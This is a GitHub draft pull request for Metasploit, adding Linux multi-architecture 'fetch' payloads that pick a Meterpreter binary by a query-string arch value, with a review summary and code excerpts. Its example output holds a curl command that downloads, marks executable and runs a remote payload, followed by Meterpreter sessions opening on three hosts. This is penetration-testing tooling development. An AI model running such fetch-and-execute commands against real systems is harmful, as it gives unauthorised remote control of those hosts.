Skip to content

Fetch Multi Part 2: The Fetchening#21384

Draft
bwatters-r7 wants to merge 4 commits into
rapid7:masterfrom
bwatters-r7:feature/fetch-multi-3
Draft

Fetch Multi Part 2: The Fetchening#21384
bwatters-r7 wants to merge 4 commits into
rapid7:masterfrom
bwatters-r7:feature/fetch-multi-3

Conversation

@bwatters-r7
Copy link
Copy Markdown
Contributor

@bwatters-r7 bwatters-r7 commented Apr 27, 2026

This is another shot at the fetch multi payloads that will automagically serve the proper arch of Linux payload regardless of what architecture calls back. Per request, it uses query strings, so it is only available on http-based fetch commands. It also only works with Linux right now, but as we do not have an AARCH64 Windows Meterpreter, that's probably fine for now.
Currently, this works, but probably a lot of the other fetch payloads are broken, so this is in draft. I also likely need to do a bit of cleanup for artifacts left over from other attempts.

Closes #21389

Example
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > to_handler
[*] generate_fetch:150
[*] 152
[*] 154
[*] 164
[*] generate_fetch_commands
[*] 175
[*] Command to execute on target: curl -so ./MvnXpRmBOvmZ http://10.5.135.201:8080/TUvgVhj-5qUlmIMMOHXB0g?arch=$(uname -m);chmod +x ./MvnXpRmBOvmZ;./MvnXpRmBOvmZ&
[*] Payload Handler Started as Job 0
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) >
[*] setup_handler:23
[*] Fetch handler listening on 10.5.135.201:8080
[*] HTTP server started
[*] setup_handler:26
[*] Adding resource /TUvgVhj-5qUlmIMMOHXB0g
[*] setup_handler:30
[*] Started reverse TCP handler on 10.5.135.201:4567
[*] on_request_uri:66
[*] {:arch=>"_any_", :dynamic_arch=>true}
[*] Client 10.5.134.119 requested /TUvgVhj-5qUlmIMMOHXB0g?arch=x86_64
[*] on_request_uri:74
[*] Sending payload to 10.5.134.119 (curl/8.5.0)
[*] on_request_uri:76
[*] on_request_uri:78
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] GET /TUvgVhj-5qUlmIMMOHXB0g?arch=x86_64 HTTP/1.1
Host: 10.5.135.201:8080
User-Agent: curl/8.5.0
Accept: */*


[*] x86_64
[*] Searching for x86_64
[*] Building payload for x64 arch
[*] 2
[*] generate:31
[*] generate:33
[*] Meterpreter session 1 opened (10.5.135.201:4567 -> 10.5.134.119:49592) at 2026-04-27 16:32:34 -0500
[*] on_request_uri:66
[*] {:arch=>"x64", :dynamic_arch=>true}
[*] Client 10.5.132.212 requested /TUvgVhj-5qUlmIMMOHXB0g?arch=armv7l
[*] on_request_uri:74
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] on_request_uri:76
[*] on_request_uri:78
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] GET /TUvgVhj-5qUlmIMMOHXB0g?arch=armv7l HTTP/1.1
Host: 10.5.135.201:8080
User-Agent: curl/8.13.0-rc3
Accept: */*


[*] armv7l
[*] Searching for armv7l
[*] Building payload for armle arch
[*] 2
[*] generate:31
[*] generate:33
[*] Meterpreter session 2 opened (10.5.135.201:4567 -> 10.5.132.212:34124) at 2026-04-27 16:34:41 -0500
[*] on_request_uri:66
[*] {:arch=>"armle", :dynamic_arch=>true}
[*] Client 10.5.132.215 requested /TUvgVhj-5qUlmIMMOHXB0g?arch=aarch64
[*] on_request_uri:74
[*] Sending payload to 10.5.132.215 (curl/8.11.0)
[*] on_request_uri:76
[*] on_request_uri:78
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] GET /TUvgVhj-5qUlmIMMOHXB0g?arch=aarch64 HTTP/1.1
Host: 10.5.135.201:8080
User-Agent: curl/8.11.0
Accept: */*


[*] aarch64
[*] Searching for aarch64
[*] Building payload for aarch64 arch
[*] 2
[*] generate:31
[*] generate:33
[*] Meterpreter session 3 opened (10.5.135.201:4567 -> 10.5.132.215:44022) at 2026-04-27 16:35:37 -0500

end
end

def to_meterp_arch(os_arch)
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think we should block this on rapid7/rex-arch#13

Copy link
Copy Markdown
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Adds a Linux multi-architecture “fetch” workflow intended to serve the correct Linux Meterpreter/Mettle binary based on the calling host’s architecture (via HTTP query strings), alongside broader refactors to fetch payload serving to support multiple served resources and new FTP delivery support.

Changes:

  • Introduces a new Linux ARCH_ANY Meterpreter (stageless mettle) payload and supporting Linux multi-arch transform logic.
  • Refactors fetch adapter/server plumbing to serve multiple resources per handler and adds dynamic-arch HTTP handling via ?arch=....
  • Adds an in-memory anonymous FTP server plus many new FTP fetch adapter modules (Linux + Windows), and improves TFTP server resource cleanup.

Impact Analysis:

  • Blast radius: high — shared fetch adapter logic (lib/msf/core/payload/adapter/fetch.rb) and HTTP/TFTP/SMB handler mixins affect many fetch payloads and handler startup/cleanup paths; new FTP server introduces a new service type under Rex::Proto.
  • Data and contract effects: medium — changes handler request expectations (dynamic-arch requires query string), modifies how resources are tracked/served (@srv_resources), and introduces new options/behaviors that can change runtime payload generation and UUID/arch selection.
  • Rollback and test focus: rollback is code-only but touches core mixins; focus testing on (1) existing fetch payloads (HTTP/HTTPS/TFTP/SMB) still serving correctly, (2) multi-arch HTTP path with and without arch query param, and (3) concurrent/multiple client fetches for differing architectures.

Reviewed changes

Copilot reviewed 33 out of 33 changed files in this pull request and generated 6 comments.

Show a summary per file
File Description
spec/modules/payloads_spec.rb Adds spec coverage hooks for new cmd/linux/http/multi adapter and linux/multi payload caching behavior.
modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb New ARCH_ANY Linux stageless Meterpreter/Mettle payload using the new multi-arch logic.
modules/payloads/adapters/cmd/windows/ftp/x86.rb New Windows x86 FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/windows/ftp/x64.rb New Windows x64 FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/linux/http/multi.rb New Linux HTTP “multi” fetch adapter (ARCH_ANY) intended for dynamic arch selection.
modules/payloads/adapters/cmd/linux/ftp/x86.rb New Linux x86 FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/linux/ftp/x64.rb New Linux x64 FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/linux/ftp/riscv64le.rb New Linux RISC-V 64-bit LE FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/linux/ftp/riscv32le.rb New Linux RISC-V 32-bit LE FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/linux/ftp/ppc64.rb New Linux PPC64 FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/linux/ftp/ppc.rb New Linux PPC FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/linux/ftp/mipsle.rb New Linux MIPSLE FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/linux/ftp/mipsbe.rb New Linux MIPSBE FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/linux/ftp/mips64.rb New Linux MIPS64 FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/linux/ftp/armle.rb New Linux ARMLE FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/linux/ftp/armbe.rb New Linux ARMBE FTP fetch adapter wrapper.
modules/payloads/adapters/cmd/linux/ftp/aarch64.rb New Linux AARCH64 FTP fetch adapter wrapper.
lib/rex/proto/tftp/server.rb Adds aliasing helpers and file deregistration support for TFTP service cleanup.
lib/rex/proto/ftp/server.rb Adds a new lightweight in-memory anonymous FTP server implementation.
lib/msf/core/payload/linux/multi_arch.rb Adds Linux multi-arch mapping helpers and REQUESTED_ARCH option for payload generation/UUID arch selection.
lib/msf/core/payload/adapter/fetch/tftp.rb Refactors TFTP fetch handler setup to support multiple resources.
lib/msf/core/payload/adapter/fetch/smb.rb Updates SMB fetch handler setup to pull served data from the new resource list.
lib/msf/core/payload/adapter/fetch/server/tftp.rb Refactors TFTP server startup via Rex::ServiceManager and supports multiple resources + cleanup.
lib/msf/core/payload/adapter/fetch/server/http.rb Adds dynamic-arch request handling (?arch=) and refactors HTTP serving to use resource entries.
lib/msf/core/payload/adapter/fetch/server/ftp.rb New FTP fetch server mixin using the new in-memory FTP server.
lib/msf/core/payload/adapter/fetch/pipe.rb New shared helper for pipe-enabled fetch payload command generation.
lib/msf/core/payload/adapter/fetch/multi.rb New shared helper for multi-arch fetch behaviors (including OS-arch to meterpreter-arch mapping).
lib/msf/core/payload/adapter/fetch/https.rb Refactors HTTPS fetch handler setup to serve from the new resource list.
lib/msf/core/payload/adapter/fetch/http.rb Refactors HTTP fetch handler setup to serve from the new resource list.
lib/msf/core/payload/adapter/fetch/ftp.rb New FTP fetch transport mixin wiring handler lifecycle to the FTP server mixin.
lib/msf/core/payload/adapter/fetch.rb Core refactor: resource list (@srv_resources), dynamic-arch placeholder serving, and updated command generation plumbing.
lib/msf/base/sessions/meterpreter_multi_linux.rb Adds a Linux platform-specific, arch-agnostic Meterpreter session class.
lib/msf_autoload.rb Updates Zeitwerk inflections/camelization to support rex/proto/ftp module naming.

Comment on lines +38 to +45
when ARCH_PPCE500V2, 'ARCH_PPCE500V3'
return 'powerpc-e500v2-linux-musl'
when ARCH_PPC64LE, 'ARCH_PPC64LE'
return 'powerpc64le-linux-musl'
when ARCH_X64, 'ARCH_X86'
return 'x86_64-linux-musl'
when ARCH_X86, 'ARCH_X86'
return 'i486-linux-musl'
Comment on lines +80 to +83
vprint_status request.uri_parts['QueryString']['arch'].to_s
arch = to_meterp_arch(request.uri_parts['QueryString']['arch'])
if arch.nil?
print_error("Failed to identify the architecture in Query String #{request.uri_parts['QueryString']['arch'].to_s}")
Comment on lines +86 to +91
vprint_status("Building payload for #{arch.to_s} arch")
opts[:arch] = arch
@multi_arch = arch
vprint_status("2")
# Call generate with arch and dynamic_arch populated properly to build the right binary
payload_exe = generate(opts)
Comment on lines +142 to +155
def generate_fetch_commands(uri = srvuri, dynamic_arch = false)
case datastore['FETCH_COMMAND'].upcase
when 'FTP'
return _generate_ftp_command
return _generate_ftp_command(uri)
when 'TNFTP'
return _generate_tnftp_command
return _generate_tnftp_command(uri)
when 'WGET'
return _generate_wget_command
when 'GET'
return _generate_get_command
return _generate_wget_command(uri, dynamic_arch)
when 'CURL'
return _generate_curl_command
return _generate_curl_command(uri, dynamic_arch)
when 'TFTP'
return _generate_tftp_command
return _generate_tftp_command(uri)
when 'CERTUTIL'
return _generate_certutil_command
return _generate_certutil_command(uri)
Comment on lines 166 to 181
@@ -204,6 +176,7 @@ def generate_stage(opts = {})
# @return [PayloadUUID] The generated payload UUID.
def generate_payload_uuid(conf = {})
conf[:arch] ||= module_info['AdaptedArch']
conf[:arch] = @multi_arch unless @multi_arch.nil?
conf[:platform] ||= module_info['AdaptedPlatform']
super
Comment on lines +6 to +22
module MetasploitModule
include Msf::Payload::Adapter::Fetch::HTTP
include Msf::Payload::Adapter::Fetch::LinuxOptions

def initialize(info = {})
super(
update_info(
info,
'Name' => 'HTTP Fetch',
'Description' => 'Fetch and execute a script to determine the host arch and execute a payload from an HTTP server.',
'Author' => ['Brendan Watters', 'Spencer McIntyre'],
'Platform' => 'linux',
'Arch' => ARCH_CMD,
'License' => MSF_LICENSE,
'AdaptedArch' => ARCH_ANY,
'AdaptedPlatform' => 'linux'
)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

Status: Todo

Development

Successfully merging this pull request may close these issues.

Add Fetch Linux Multi arch Meterpreter

3 participants